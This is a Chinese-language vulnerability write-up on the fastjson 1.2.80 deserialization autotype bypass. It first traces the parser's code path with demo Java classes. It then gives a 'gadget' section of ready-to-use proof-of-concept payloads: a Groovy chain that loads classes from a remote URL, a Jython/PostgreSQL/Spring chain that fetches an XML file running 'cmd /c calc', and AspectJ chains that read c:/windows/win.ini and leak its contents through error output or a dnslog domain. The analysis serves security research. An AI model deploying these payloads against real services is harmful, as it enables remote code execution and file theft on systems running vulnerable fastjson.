fastjson 1.2.80 漏洞分析

語言: CN / TW / HK

fastjson1.2.47是通過MiscCodec向白名單快取中put任意類。

fastjson1.2.68是用的期望類,

找實現了AutoCloseable介面的子類中的危險操作。

1.2.68的修復方式簡單粗暴,將 java.lang.Runnablejava.lang.Readablejava.lang.AutoCloseable 加入了黑名單,那麼1.2.80用的就是另一個期望類:異常類Throwable。

詳細分析

淺藍給了兩張圖說明他的挖掘思路。

關鍵點就在於 反序列化setter method parameter OR public field(無視autotype)時新增類到白名單

給了上圖的挖掘思路,那麼我們就要弄明白為什麼setter引數、公有欄位、建構函式引數這三個點的型別會被加到白名單快取mapping中。

先寫幾個demo來看

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.util.TypeUtils;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.concurrent.ConcurrentMap;

public class Main {
    public static void main(String[] args) throws Exception {
        String json2 = new String(Files.readAllBytes(Paths.get("1.txt")));
        try {
            Object parse = JSON.parse(json2);
            System.out.println(parse);
        } catch (Exception e) {
            e.printStackTrace();
        }
        Field mappings = TypeUtils.class.getDeclaredField("mappings");
        mappings.setAccessible(true);
        ConcurrentMap<String, Class<?>> o = (ConcurrentMap<String, Class<?>>) mappings.get(TypeUtils.class);
        System.out.println("----------------");
        o.forEach((k, v) -> {
            if (k.contains("My")) {
                System.out.println(k);
            }
        });

    }
}
public class MyClass {
    public String name;
}
public class MyException extends Throwable {
    private MyClass clazz;

    public void setClazz(MyClass clazz) {
        this.clazz = clazz;
    }
}

我們構造一個json來講解漏洞原理

{
    "a":{
        "@type":"java.lang.Exception",
        "@type":"MyException",
        "clazz":{},
        "stackTrace":[]
    },
    "b":{
        "@type":"MyClass","name":"asd"
    }
}

a部分就是眾所周知的期望類,用繼承了Exception的MyException類作為type。

com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)

expectClassFlag為true,所以會從classloader中載入MyException拿到class

並且期望類不為空時會把目標類加入到類快取中 TypeUtils.addMapping(typeName, clazz)

解決完兩個type標籤之後,現在來看clazz標籤的解析過程

因為是異常類,所以在 com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object) 拿到的是ThrowableDeserializer反序列化器

深究getDeserializer函式

如果是type傳入的是Class則進入 com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type)

這個函式中會針對不同類的class型別分配相應的反序列化器

並且最終都會將type和deserializer的對應關係put到自身的deserializers map中 com.alibaba.fastjson.parser.ParserConfig#putDeserializer

拿到對應的反序列化器之後進入 com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#deserialze

先createException通過建構函式建立異常例項,然後通過getDeserializer拿到對應的反序列化器,然後用反序列化器拿到對應欄位的欄位反序列化例項FieldDeserializer

如果value不是fieldClass型別的會進入 com.alibaba.fastjson.util.TypeUtils#cast(java.lang.Object, java.lang.reflect.Type, com.alibaba.fastjson.parser.ParserConfig) 進行型別轉換

多次判斷之後會進入 com.alibaba.fastjson.util.TypeUtils#cast(java.lang.Object, java.lang.Class<T>, com.alibaba.fastjson.parser.ParserConfig)

在這個函式中會根據傳入物件的具體型別來進行對應的型別轉換操作,因為我們傳入的是 "clazz":{} 也就是一個JSONObject,所以走到Map的型別轉換,進入

com.alibaba.fastjson.util.TypeUtils#castToJavaBean(java.util.Map<java.lang.String,java.lang.Object>, java.lang.Class<T>, com.alibaba.fastjson.parser.ParserConfig)

在這裡又一次進入getDeserializer,而此時引數是MyException類clazz欄位的型別,即MyClass。

那麼重點來了,此時在 com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type) 函式中

呼叫自身putDeserializer函式,填充ParserConfig自身的 this.deserializers.put(type, deserializer)

而在 com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)

在反序列化json中的b標籤時,對 "@type":"MyClass" 進行checkAutoType時就能拿到MyClass類而不會丟擲異常了。

到此分析結束。捋一下思路,根據異常類作為期望類時,會先用建構函式創建出MyException例項,然後繫結對應欄位,呼叫setter。而欄位型別MyClass在進入getDeserializer函式時會被put到ParserConfig的deserializers列表中,這樣造成在checkautotype時可以通過deserializers拿到對應的MyClass類而不會為null。

類欄位如此,建構函式的引數和setter的引數應該也是大差不差。

修復

  1. https://github.com/alibaba/fastjson/commit/35db4adad70c32089542f23c272def1ad920a60d
  2. https://github.com/alibaba/fastjson/commit/8f3410f81cbd437f7c459f8868445d50ad301f15

除了黑白名單的變化以外就是直接端掉異常類這條路。

並且在加類快取時多了一次autotype判斷

gadget

整理一下poc,一些探測版本、探測依賴什麼的懶得弄了。

1 groovy

依賴groovy

{
    "@type":"java.lang.Exception",
    "@type":"org.codehaus.groovy.control.CompilationFailedException",
    "unit":{}
}


{
    "@type":"org.codehaus.groovy.control.ProcessingUnit",
    "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
    "config":{
     "@type":"org.codehaus.groovy.control.CompilerConfiguration",
     "classpathList":"http://127.0.0.1:8090/"
    }
}

META-INF/services/org.codehaus.groovy.transform.ASTTransformation 檔案中寫Evil,然後建立一個Evil類寫自己的命令執行程式碼。

2 jdbc

依賴jython+postgresql+spring-context

{
    "a":{
    "@type":"java.lang.Exception",
    "@type":"org.python.antlr.ParseException",
    "type":{}
    },
    "b":{
        "@type":"org.python.core.PyObject",
        "@type":"com.ziclix.python.sql.PyConnection",
        "connection":{
            "@type":"org.postgresql.jdbc.PgConnection",
            "hostSpecs":[
                {
                    "host":"127.0.0.1",
                    "port":2333
                }
            ],
            "user":"user",
            "database":"test",
            "info":{
                "socketFactory":"org.springframework.context.support.ClassPathXmlApplicationContext",
                "socketFactoryArg":"http://127.0.0.1:8090/exp.xml"
            },
            "url":""
        }
    }
}
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
  <constructor-arg>
    <list value-type="java.lang.String" >
       <value>cmd</value>
       <value>/c</value>
       <value>calc</value>
    </list>
  </constructor-arg>
  <property name="whatever" value="#{pb.start()}"/>
</bean>
</beans>

3 aspectj

分三次打

{
    "@type":"java.lang.Exception",
    "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"
}
{
    "@type":"java.lang.Class",
    "val":{
        "@type":"java.lang.String"{
        "@type":"java.util.Locale",
        "val":{
            "@type":"com.alibaba.fastjson.JSONObject",
             {
                "@type":"java.lang.String"
                "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException",
                "newAnnotationProcessorUnits":[{}]
            }
        }
    }
{
    "x":{
        "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
        "@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
        "fileName":"c:/windows/win.ini"
    }
}

回顯可以用報錯或者dnslog,只改第三部分的payload為

{
    "@type":"java.lang.Character"
    {
        "c":{
            "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
            "@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
            "fileName":"c:/windows/win.ini"
    }
}

dnslog win平臺下我沒成功

{ "a":{"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit","@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit","fileName":"1.txt"},
"b":{"@type":"java.net.Inet4Address","val":{"@type":"java.lang.String"{"@type":"java.util.Locale","val":{"@type":"com.alibaba.fastjson.JSONObject",{
"@type": "java.lang.String""@type":"java.util.Locale","language":{"@type":"java.lang.String"{"$ref":"$"},"country":"x.xnfhnufo.dnslog.pw"}}
}}

su18整理了很多payload在他的GitHub上, 放個連結在這